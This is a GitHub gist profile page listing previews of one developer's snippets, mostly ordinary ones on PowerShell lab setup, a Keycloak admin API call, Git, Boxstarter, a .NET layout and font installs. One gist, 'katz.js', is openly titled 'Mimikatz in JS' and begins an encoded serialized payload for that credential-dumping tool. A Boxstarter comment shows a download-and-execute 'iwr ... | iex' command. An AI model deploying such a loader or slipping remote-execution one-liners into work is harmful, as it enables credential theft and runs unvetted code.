Skip to content

Instantly share code, notes, and snippets.

View ryanspletzer's full-sized avatar

Ryan Spletzer ryanspletzer

View GitHub Profile

Keybase proof

I hereby claim:

  • I am ryanspletzer on github.
  • I am ryanspletzer (https://keybase.io/ryanspletzer) on keybase.
  • I have a public key whose fingerprint is 3579 33AE F61B 3323 FB1A 9248 933B 20B1 3F64 C350

To claim this, I am signing this object:

Import-Module -Name Lability
$hotfixes = @(
#region Normal Patches
@{
Id = 'windows8.1-kb2939087-x64_76a6b26de1edc9114c11e3da7394dfbcabe4afd8.cab'
Uri = 'http://download.windowsupdate.com/d/msdownload/update/software/crup/2014/03/windows8.1-kb2939087-x64_76a6b26de1edc9114c11e3da7394dfbcabe4afd8.cab'
},
@{
Id = 'windows8.1-kb2954879-v2-x64_7e2146477888153e6308977bfc2bc14fea2f56b9.cab'
@ryanspletzer
ryanspletzer / keycloak.sh
Last active February 27, 2017 22:27 — forked from paoloantinori/keycloak.sh
Keycloak Admin API Rest Example
#!/bin/bash
export TKN=$(curl -X POST 'http://localhost:8080/auth/realms/master/protocol/openid-connect/token' \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin" \
-d 'password=admin' \
-d 'grant_type=password' \
-d 'client_id=admin-cli' | jq -r '.access_token')
curl -X GET 'http://localhost:8080/admin/realms/master' \
@ryanspletzer
ryanspletzer / happy_git_on_osx.md
Created July 6, 2017 22:39 — forked from trey/happy_git_on_osx.md
Creating a Happy Git Environment on OS X

Creating a Happy Git Environment on OS X

Step 1: Install Git

brew install git bash-completion

Configure things:

git config --global user.name "Your Name"

git config --global user.email "you@example.com"

@ryanspletzer
ryanspletzer / katz.js
Created August 3, 2017 13:24
Mimikatz in JS - Courtesy of James Forshaw - https://github.com/tyranid/DotNetToJScript ;-)
This file has been truncated, but you can view the full file.
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
@ryanspletzer
ryanspletzer / ConvertTo-TheLettersAndNumbers.ps1
Last active February 2, 2018 01:00
ConvertTo-TheLettersAndNumbers.ps1
function ConvertTo-TheLettersAndNumbers {
[CmdletBinding()]
[OutputType([string])]
param (
[Parameter(Mandatory=$true)]
[string]
$String
)
$numbers = @{
0 = ':zero:'
@ryanspletzer
ryanspletzer / boxstarter.ps1
Created June 1, 2018 16:55 — forked from jessfraz/boxstarter.ps1
Boxstarter Commands for a new Windows box.
# Description: Boxstarter Script
# Author: Jess Frazelle <jess@linux.com>
# Last Updated: 2017-09-11
#
# Install boxstarter:
# . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force
#
# You might need to set: Set-ExecutionPolicy RemoteSigned
#
# Run this boxstarter by calling the following from an **elevated** command-prompt:
@ryanspletzer
ryanspletzer / dotnetlayout.md
Created October 29, 2018 17:43 — forked from davidfowl/dotnetlayout.md
.NET project structure
$/
  artifacts/
  build/
  docs/
  lib/
  packages/
  samples/
  src/
 tests/
@ryanspletzer
ryanspletzer / Install-PowerShellService.ps1
Created July 26, 2019 20:28 — forked from fireflycons/Install-PowerShellService.ps1
Script to install a PowerShell script as a Windows Service using NSSM
<#
.SYNOPSIS
Installs PowerShell scripts as Windows Services.
.DESCRIPTION
Installs or removes PowerShell script services.
When installing, any additional command line arguments besides the mandatory ones are supplied as arguments to the script you are installing, and credentials for the service will be prompted for.
The service will be installed for automatic start, however the initial state is 'Stopped'
This tool will additionally pass the switch -Service to the target script which it should implement to know it is running as a service.
@ryanspletzer
ryanspletzer / nerd_fonts.sh
Created April 22, 2023 01:06 — forked from davidteren/nerd_fonts.md
Install Nerd Fonts via Homebrew [updated & fixed]
# Nerd Fonts for your IDE
# https://www.nerdfonts.com/font-downloads
brew tap homebrew/cask-fonts && brew install --cask font-3270-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-fira-mono-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-inconsolata-go-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-inconsolata-lgc-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-inconsolata-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-monofur-nerd-font
brew tap homebrew/cask-fonts && brew install --cask font-overpass-nerd-font